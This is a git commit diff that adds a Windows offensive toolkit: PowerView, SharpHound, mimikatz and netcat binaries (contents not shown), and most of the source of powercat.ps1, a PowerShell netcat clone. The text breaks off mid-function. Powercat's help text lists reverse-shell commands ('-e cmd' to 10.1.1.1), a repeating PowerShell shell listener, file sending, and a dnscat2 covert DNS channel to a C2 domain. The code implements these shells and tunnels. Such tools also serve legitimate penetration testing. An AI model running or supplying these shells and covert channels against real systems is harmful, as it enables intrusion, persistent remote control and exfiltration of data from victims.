win binaries + git-dumper + crack_hash
This commit is contained in:
20914
win/PowerView.ps1
Normal file
20914
win/PowerView.ps1
Normal file
File diff suppressed because it is too large
Load Diff
BIN
win/SharpHound.exe
Normal file
BIN
win/SharpHound.exe
Normal file
Binary file not shown.
BIN
win/mimikatz.exe
Normal file
BIN
win/mimikatz.exe
Normal file
Binary file not shown.
BIN
win/nc.exe
Normal file
BIN
win/nc.exe
Normal file
Binary file not shown.
BIN
win/nc64.exe
Normal file
BIN
win/nc64.exe
Normal file
Binary file not shown.
948
win/powercat.ps1
Normal file
948
win/powercat.ps1
Normal file
@@ -0,0 +1,948 @@
|
||||
function powercat
|
||||
{
|
||||
param(
|
||||
[alias("Client")][string]$c="",
|
||||
[alias("Listen")][switch]$l=$False,
|
||||
[alias("Port")][Parameter(Position=-1)][string]$p="",
|
||||
[alias("Execute")][string]$e="",
|
||||
[alias("ExecutePowershell")][switch]$ep=$False,
|
||||
[alias("Relay")][string]$r="",
|
||||
[alias("UDP")][switch]$u=$False,
|
||||
[alias("dnscat2")][string]$dns="",
|
||||
[alias("DNSFailureThreshold")][int32]$dnsft=10,
|
||||
[alias("Timeout")][int32]$t=60,
|
||||
[Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null,
|
||||
[ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host",
|
||||
[alias("OutputFile")][string]$of="",
|
||||
[alias("Disconnect")][switch]$d=$False,
|
||||
[alias("Repeater")][switch]$rep=$False,
|
||||
[alias("GeneratePayload")][switch]$g=$False,
|
||||
[alias("GenerateEncoded")][switch]$ge=$False,
|
||||
[alias("Help")][switch]$h=$False
|
||||
)
|
||||
|
||||
############### HELP ###############
|
||||
$Help = "
|
||||
powercat - Netcat, The Powershell Version
|
||||
Github Repository: https://github.com/besimorhino/powercat
|
||||
|
||||
This script attempts to implement the features of netcat in a powershell
|
||||
script. It also contains extra features such as built-in relays, execute
|
||||
powershell, and a dnscat2 client.
|
||||
|
||||
Usage: powercat [-c or -l] [-p port] [options]
|
||||
|
||||
-c <ip> Client Mode. Provide the IP of the system you wish to connect to.
|
||||
If you are using -dns, specify the DNS Server to send queries to.
|
||||
|
||||
-l Listen Mode. Start a listener on the port specified by -p.
|
||||
|
||||
-p <port> Port. The port to connect to, or the port to listen on.
|
||||
|
||||
-e <proc> Execute. Specify the name of the process to start.
|
||||
|
||||
-ep Execute Powershell. Start a pseudo powershell session. You can
|
||||
declare variables and execute commands, but if you try to enter
|
||||
another shell (nslookup, netsh, cmd, etc.) the shell will hang.
|
||||
|
||||
-r <str> Relay. Used for relaying network traffic between two nodes.
|
||||
Client Relay Format: -r <protocol>:<ip addr>:<port>
|
||||
Listener Relay Format: -r <protocol>:<port>
|
||||
DNSCat2 Relay Format: -r dns:<dns server>:<dns port>:<domain>
|
||||
|
||||
-u UDP Mode. Send traffic over UDP. Because it's UDP, the client
|
||||
must send data before the server can respond.
|
||||
|
||||
-dns <domain> DNS Mode. Send traffic over the dnscat2 dns covert channel.
|
||||
Specify the dns server to -c, the dns port to -p, and specify the
|
||||
domain to this option, -dns. This is only a client.
|
||||
Get the server here: https://github.com/iagox86/dnscat2
|
||||
|
||||
-dnsft <int> DNS Failure Threshold. This is how many bad packets the client can
|
||||
recieve before exiting. Set to zero when receiving files, and set high
|
||||
for more stability over the internet.
|
||||
|
||||
-t <int> Timeout. The number of seconds to wait before giving up on listening or
|
||||
connecting. Default: 60
|
||||
|
||||
-i <input> Input. Provide data to be sent down the pipe as soon as a connection is
|
||||
established. Used for moving files. You can provide the path to a file,
|
||||
a byte array object, or a string. You can also pipe any of those into
|
||||
powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80
|
||||
|
||||
-o <type> Output. Specify how powercat should return information to the console.
|
||||
Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'.
|
||||
|
||||
-of <path> Output File. Specify the path to a file to write output to.
|
||||
|
||||
-d Disconnect. powercat will disconnect after the connection is established
|
||||
and the input from -i is sent. Used for scanning.
|
||||
|
||||
-rep Repeater. powercat will continually restart after it is disconnected.
|
||||
Used for setting up a persistent server.
|
||||
|
||||
-g Generate Payload. Returns a script as a string which will execute the
|
||||
powercat with the options you have specified. -i, -d, and -rep will not
|
||||
be incorporated.
|
||||
|
||||
-ge Generate Encoded Payload. Does the same as -g, but returns a string which
|
||||
can be executed in this way: powershell -E <encoded string>
|
||||
|
||||
-h Print this help message.
|
||||
|
||||
Examples:
|
||||
|
||||
Listen on port 8000 and print the output to the console.
|
||||
powercat -l -p 8000
|
||||
|
||||
Connect to 10.1.1.1 port 443, send a shell, and enable verbosity.
|
||||
powercat -c 10.1.1.1 -p 443 -e cmd -v
|
||||
|
||||
Connect to the dnscat2 server on c2.example.com, and send dns queries
|
||||
to the dns server on 10.1.1.1 port 53.
|
||||
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
|
||||
|
||||
Send a file to 10.1.1.15 port 8000.
|
||||
powercat -c 10.1.1.15 -p 8000 -i C:\inputfile
|
||||
|
||||
Write the data sent to the local listener on port 4444 to C:\outfile
|
||||
powercat -l -p 4444 -of C:\outfile
|
||||
|
||||
Listen on port 8000 and repeatedly server a powershell shell.
|
||||
powercat -l -p 8000 -ep -rep
|
||||
|
||||
Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp.
|
||||
powercat -l -p 8000 -r tcp:10.1.1.1:9000
|
||||
|
||||
Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com,
|
||||
sending queries to 10.1.1.1 port 53.
|
||||
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
|
||||
"
|
||||
if($h){return $Help}
|
||||
############### HELP ###############
|
||||
|
||||
############### VALIDATE ARGS ###############
|
||||
$global:Verbose = $Verbose
|
||||
if($of -ne ''){$o = 'Bytes'}
|
||||
if($dns -eq "")
|
||||
{
|
||||
if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."}
|
||||
if($p -eq ""){return "Please provide a port number to -p."}
|
||||
}
|
||||
if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"}
|
||||
if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."}
|
||||
if($l)
|
||||
{
|
||||
$Failure = $False
|
||||
netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}}
|
||||
if($Failure){break}
|
||||
}
|
||||
if($r -ne "")
|
||||
{
|
||||
if($r.split(":").Count -eq 2)
|
||||
{
|
||||
$Failure = $False
|
||||
netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}}
|
||||
if($Failure){break}
|
||||
}
|
||||
}
|
||||
############### VALIDATE ARGS ###############
|
||||
|
||||
############### UDP FUNCTIONS ###############
|
||||
function Setup_UDP
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
$c,$l,$p,$t = $FuncSetupVars
|
||||
$FuncVars = @{}
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
if($l)
|
||||
{
|
||||
$SocketDestinationBuffer = New-Object System.Byte[] 65536
|
||||
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p
|
||||
$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p
|
||||
$PacketInfo = New-Object System.Net.Sockets.IPPacketInformation
|
||||
Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]")
|
||||
$ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null)
|
||||
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
|
||||
while($True)
|
||||
{
|
||||
if($Host.UI.RawUI.KeyAvailable)
|
||||
{
|
||||
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode))
|
||||
{
|
||||
Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..."
|
||||
$FuncVars["Socket"].Close()
|
||||
$Stopwatch.Stop()
|
||||
break
|
||||
}
|
||||
}
|
||||
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
|
||||
{
|
||||
$FuncVars["Socket"].Close()
|
||||
$Stopwatch.Stop()
|
||||
Write-Verbose "Timeout!" ; break
|
||||
}
|
||||
if($ConnectHandle.IsCompleted)
|
||||
{
|
||||
$SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo)
|
||||
Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")")
|
||||
if($SocketBytesRead -gt 0){break}
|
||||
else{break}
|
||||
}
|
||||
}
|
||||
$Stopwatch.Stop()
|
||||
$FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)]
|
||||
}
|
||||
else
|
||||
{
|
||||
if(!$c.Contains("."))
|
||||
{
|
||||
$IPList = @()
|
||||
[System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString}
|
||||
Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0])
|
||||
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p
|
||||
}
|
||||
else
|
||||
{
|
||||
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p
|
||||
}
|
||||
$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient
|
||||
$FuncVars["Socket"].Connect($c,$p)
|
||||
Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...")
|
||||
Write-Verbose ("UDP: Make sure to send some data so the server can notice you!")
|
||||
}
|
||||
$FuncVars["BufferSize"] = 65536
|
||||
$FuncVars["EndPoint"] = $EndPoint
|
||||
$FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"]
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_UDP
|
||||
{
|
||||
param($FuncVars)
|
||||
$Data = $null
|
||||
if($FuncVars["StreamReadOperation"].IsCompleted)
|
||||
{
|
||||
$StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"])
|
||||
if($StreamBytesRead -eq 0){break}
|
||||
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_UDP
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_UDP
|
||||
{
|
||||
param($FuncVars)
|
||||
$FuncVars["Socket"].Close()
|
||||
}
|
||||
############### UDP FUNCTIONS ###############
|
||||
|
||||
############### DNS FUNCTIONS ###############
|
||||
function Setup_DNS
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
function ConvertTo-HexArray
|
||||
{
|
||||
param($String)
|
||||
$Hex = @()
|
||||
$String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_}
|
||||
return $Hex
|
||||
}
|
||||
|
||||
function SendPacket
|
||||
{
|
||||
param($Packet,$DNSServer,$DNSPort)
|
||||
$Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit")
|
||||
$result = ($Command | nslookup 2>&1 | Out-String)
|
||||
if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)}
|
||||
else{return 1}
|
||||
}
|
||||
|
||||
function Create_SYN
|
||||
{
|
||||
param($SessionId,$SeqNum,$Tag,$Domain)
|
||||
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain)
|
||||
}
|
||||
|
||||
function Create_FIN
|
||||
{
|
||||
param($SessionId,$Tag,$Domain)
|
||||
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain)
|
||||
}
|
||||
|
||||
function Create_MSG
|
||||
{
|
||||
param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain)
|
||||
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain)
|
||||
}
|
||||
|
||||
function DecodePacket
|
||||
{
|
||||
param($Packet)
|
||||
|
||||
if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1}
|
||||
$AcknowledgementNumber = ($Packet[10..13] -join "")
|
||||
$SeqNum = ($Packet[14..17] -join "")
|
||||
[byte[]]$ReturningData = @()
|
||||
|
||||
if($Packet.Length -gt 18)
|
||||
{
|
||||
$PacketElim = $Packet.Substring(18)
|
||||
while($PacketElim.Length -gt 0)
|
||||
{
|
||||
$ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16)
|
||||
$PacketElim = $PacketElim.Substring(2)
|
||||
}
|
||||
}
|
||||
|
||||
return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum
|
||||
}
|
||||
|
||||
function AcknowledgeData
|
||||
{
|
||||
param($ReturningData,$AcknowledgementNumber)
|
||||
$Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535))
|
||||
if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)}
|
||||
return $Hex
|
||||
}
|
||||
$FuncVars = @{}
|
||||
$FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars
|
||||
if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"}
|
||||
$FuncVars["Tag"] = ""
|
||||
$FuncVars["Domain"] = ("." + $FuncVars["Domain"])
|
||||
|
||||
$FuncVars["Create_SYN"] = ${function:Create_SYN}
|
||||
$FuncVars["Create_MSG"] = ${function:Create_MSG}
|
||||
$FuncVars["Create_FIN"] = ${function:Create_FIN}
|
||||
$FuncVars["DecodePacket"] = ${function:DecodePacket}
|
||||
$FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray}
|
||||
$FuncVars["AckData"] = ${function:AcknowledgeData}
|
||||
$FuncVars["SendPacket"] = ${function:SendPacket}
|
||||
$FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
|
||||
$FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
$FuncVars["Failures"] = 0
|
||||
|
||||
$SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"]))
|
||||
$ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))
|
||||
$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket))
|
||||
if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."}
|
||||
$ReturningData = $DecodedPacket[1]
|
||||
if($ReturningData -ne ""){$FuncVars["InputData"] = ""}
|
||||
$FuncVars["AckNum"] = $DecodedPacket[2]
|
||||
$FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length)
|
||||
if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."}
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_DNS
|
||||
{
|
||||
param($FuncVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
|
||||
$PacketsData = @()
|
||||
$PacketData = ""
|
||||
|
||||
if($FuncVars["InputData"] -ne $null)
|
||||
{
|
||||
$Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"]))
|
||||
$SectionCount = 0
|
||||
$PacketCount = 0
|
||||
foreach($Char in $Hex)
|
||||
{
|
||||
if($SectionCount -ge 30)
|
||||
{
|
||||
$SectionCount = 0
|
||||
$PacketData += "."
|
||||
}
|
||||
if($PacketCount -ge ($FuncVars["MaxMSGDataSize"]))
|
||||
{
|
||||
$PacketsData += $PacketData.TrimEnd(".")
|
||||
$PacketCount = 0
|
||||
$SectionCount = 0
|
||||
$PacketData = ""
|
||||
}
|
||||
$PacketData += $Char
|
||||
$SectionCount += 2
|
||||
$PacketCount += 2
|
||||
}
|
||||
$PacketData = $PacketData.TrimEnd(".")
|
||||
$PacketsData += $PacketData
|
||||
$FuncVars["InputData"] = ""
|
||||
}
|
||||
else
|
||||
{
|
||||
$PacketsData = @("")
|
||||
}
|
||||
|
||||
[byte[]]$ReturningData = @()
|
||||
foreach($PacketData in $PacketsData)
|
||||
{
|
||||
try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])}
|
||||
catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))}
|
||||
catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
try
|
||||
{
|
||||
$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet))
|
||||
if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue }
|
||||
$FuncVars["AckNum"] = $DecodedPacket[2]
|
||||
$FuncVars["SeqNum"] = $DecodedPacket[3]
|
||||
$ReturningData += $DecodedPacket[1]
|
||||
}
|
||||
catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
}
|
||||
|
||||
if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break}
|
||||
|
||||
if($ReturningData -ne @())
|
||||
{
|
||||
$FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"]))
|
||||
}
|
||||
return $ReturningData,$FuncVars
|
||||
}
|
||||
function WriteData_DNS
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data)
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_DNS
|
||||
{
|
||||
param($FuncVars)
|
||||
$FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"])
|
||||
Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null
|
||||
}
|
||||
############### DNS FUNCTIONS ###############
|
||||
|
||||
########## TCP FUNCTIONS ##########
|
||||
function Setup_TCP
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
$c,$l,$p,$t = $FuncSetupVars
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
$FuncVars = @{}
|
||||
if(!$l)
|
||||
{
|
||||
$FuncVars["l"] = $False
|
||||
$Socket = New-Object System.Net.Sockets.TcpClient
|
||||
Write-Verbose "Connecting..."
|
||||
$Handle = $Socket.BeginConnect($c,$p,$null,$null)
|
||||
}
|
||||
else
|
||||
{
|
||||
$FuncVars["l"] = $True
|
||||
Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")")
|
||||
$Socket = New-Object System.Net.Sockets.TcpListener $p
|
||||
$Socket.Start()
|
||||
$Handle = $Socket.BeginAcceptTcpClient($null, $null)
|
||||
}
|
||||
|
||||
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
|
||||
while($True)
|
||||
{
|
||||
if($Host.UI.RawUI.KeyAvailable)
|
||||
{
|
||||
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode))
|
||||
{
|
||||
Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..."
|
||||
if($FuncVars["l"]){$Socket.Stop()}
|
||||
else{$Socket.Close()}
|
||||
$Stopwatch.Stop()
|
||||
break
|
||||
}
|
||||
}
|
||||
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
|
||||
{
|
||||
if(!$l){$Socket.Close()}
|
||||
else{$Socket.Stop()}
|
||||
$Stopwatch.Stop()
|
||||
Write-Verbose "Timeout!" ; break
|
||||
break
|
||||
}
|
||||
if($Handle.IsCompleted)
|
||||
{
|
||||
if(!$l)
|
||||
{
|
||||
try
|
||||
{
|
||||
$Socket.EndConnect($Handle)
|
||||
$Stream = $Socket.GetStream()
|
||||
$BufferSize = $Socket.ReceiveBufferSize
|
||||
Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!")
|
||||
}
|
||||
catch{$Socket.Close(); $Stopwatch.Stop(); break}
|
||||
}
|
||||
else
|
||||
{
|
||||
$Client = $Socket.EndAcceptTcpClient($Handle)
|
||||
$Stream = $Client.GetStream()
|
||||
$BufferSize = $Client.ReceiveBufferSize
|
||||
Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")")
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
$Stopwatch.Stop()
|
||||
if($Socket -eq $null){break}
|
||||
$FuncVars["Stream"] = $Stream
|
||||
$FuncVars["Socket"] = $Socket
|
||||
$FuncVars["BufferSize"] = $BufferSize
|
||||
$FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"])
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
$FuncVars["StreamBytesRead"] = 1
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_TCP
|
||||
{
|
||||
param($FuncVars)
|
||||
$Data = $null
|
||||
if($FuncVars["StreamBytesRead"] -eq 0){break}
|
||||
if($FuncVars["StreamReadOperation"].IsCompleted)
|
||||
{
|
||||
$StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"])
|
||||
if($StreamBytesRead -eq 0){break}
|
||||
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_TCP
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["Stream"].Write($Data, 0, $Data.Length)
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_TCP
|
||||
{
|
||||
param($FuncVars)
|
||||
try{$FuncVars["Stream"].Close()}
|
||||
catch{}
|
||||
if($FuncVars["l"]){$FuncVars["Socket"].Stop()}
|
||||
else{$FuncVars["Socket"].Close()}
|
||||
}
|
||||
########## TCP FUNCTIONS ##########
|
||||
|
||||
########## CMD FUNCTIONS ##########
|
||||
function Setup_CMD
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
$FuncVars = @{}
|
||||
$ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$ProcessStartInfo.FileName = $FuncSetupVars[0]
|
||||
$ProcessStartInfo.UseShellExecute = $False
|
||||
$ProcessStartInfo.RedirectStandardInput = $True
|
||||
$ProcessStartInfo.RedirectStandardOutput = $True
|
||||
$ProcessStartInfo.RedirectStandardError = $True
|
||||
$FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo)
|
||||
Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...")
|
||||
$FuncVars["Process"].Start() | Out-Null
|
||||
$FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536
|
||||
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
|
||||
$FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536
|
||||
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_CMD
|
||||
{
|
||||
param($FuncVars)
|
||||
[byte[]]$Data = @()
|
||||
if($FuncVars["StdOutReadOperation"].IsCompleted)
|
||||
{
|
||||
$StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"])
|
||||
if($StdOutBytesRead -eq 0){break}
|
||||
$Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)]
|
||||
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
|
||||
}
|
||||
if($FuncVars["StdErrReadOperation"].IsCompleted)
|
||||
{
|
||||
$StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"])
|
||||
if($StdErrBytesRead -eq 0){break}
|
||||
$Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)]
|
||||
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_CMD
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n"))
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_CMD
|
||||
{
|
||||
param($FuncVars)
|
||||
$FuncVars["Process"] | Stop-Process
|
||||
}
|
||||
########## CMD FUNCTIONS ##########
|
||||
|
||||
########## POWERSHELL FUNCTIONS ##########
|
||||
function Main_Powershell
|
||||
{
|
||||
param($Stream1SetupVars)
|
||||
try
|
||||
{
|
||||
$encoding = New-Object System.Text.AsciiEncoding
|
||||
[byte[]]$InputToWrite = @()
|
||||
if($i -ne $null)
|
||||
{
|
||||
Write-Verbose "Input from -i detected..."
|
||||
if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
|
||||
elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
|
||||
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
|
||||
else{Write-Host "Unrecognised input type." ; return}
|
||||
}
|
||||
|
||||
Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)"
|
||||
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
|
||||
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
|
||||
|
||||
Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)"
|
||||
try
|
||||
{
|
||||
$IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> "))
|
||||
$Prompt = ("PS " + (pwd).Path + "> ")
|
||||
$CommandToExecute = ""
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Stream 2 Setup Failure" ; return
|
||||
}
|
||||
|
||||
if($InputToWrite -ne @())
|
||||
{
|
||||
